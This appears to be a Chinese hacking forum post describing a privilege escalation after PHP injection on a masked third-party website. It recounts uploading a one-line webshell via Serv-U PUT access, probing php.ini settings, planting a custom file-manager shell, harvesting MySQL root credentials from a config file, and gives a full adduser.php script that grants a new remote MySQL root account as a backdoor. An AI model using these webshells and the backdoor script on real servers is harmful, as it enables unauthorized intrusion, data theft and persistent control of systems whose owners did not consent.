php注入后的提权
一、 上传PHPSHELL,控制MYSQL数据库 通过 ServUDaemon.ini文件中的Access1=D:\s***n\ a***lover\photo\gallery |RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的 WebShell上去.在浏览器中运行http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出现:Warning: passthru(): Unable to fork in D:\s***n\a***lover\photo\gallery\webshell.php on line 1
看 来外部命令不能执行,管理员一定作了相应设置.再上传一个phpinfo.php文件 在浏览器中运行:http://www.*****.net/ a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设置都显示出来了(当然也你可以利用CASI看 c:\windows\php.ini 的内容)!外部命令不能执行的原因在此:
safe_mode
Off
Off
safe_mode_exec_dir
no value
no value
safe_mode_gid
Off
Off
safe_mode_include_dir
no value
no value
接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP
注: 由于时间仓促代码界面没优化好,在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\web\cmd.php,下面输入目标 文件如d:\web\cmdbak.php;del文本框中输入要删除的文件名如:d:\web\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了.
运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^
如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗?
$dbhost="localhost";//数据库主机名
$dbuser="root";//数据库用户名
$dbpass="******";//数据库密码
$dbname="article";//数据库名
数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。
为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号,内容如下:
$dbh=mysql_connect('localhost:3306','root','*****');//
echo mysql_errno().": ".mysql_error()."
";
mysql_select_db('mysql');
echo mysql_errno().": ".mysql_error()."
";
$query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password' WITH GRANT OPTION";
$res=mysql_query($query, $dbh);
echo mysql_errno().": ".mysql_error()."
";
$err=mysql_error();
if($err){
echo "ERROR!";
}
else{
echo "ADD USER OK!";
}
?>
利用cmd.php上传adduser.php执行后,就在库中添加了一个远程ROOT帐号,就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。
页:
[1]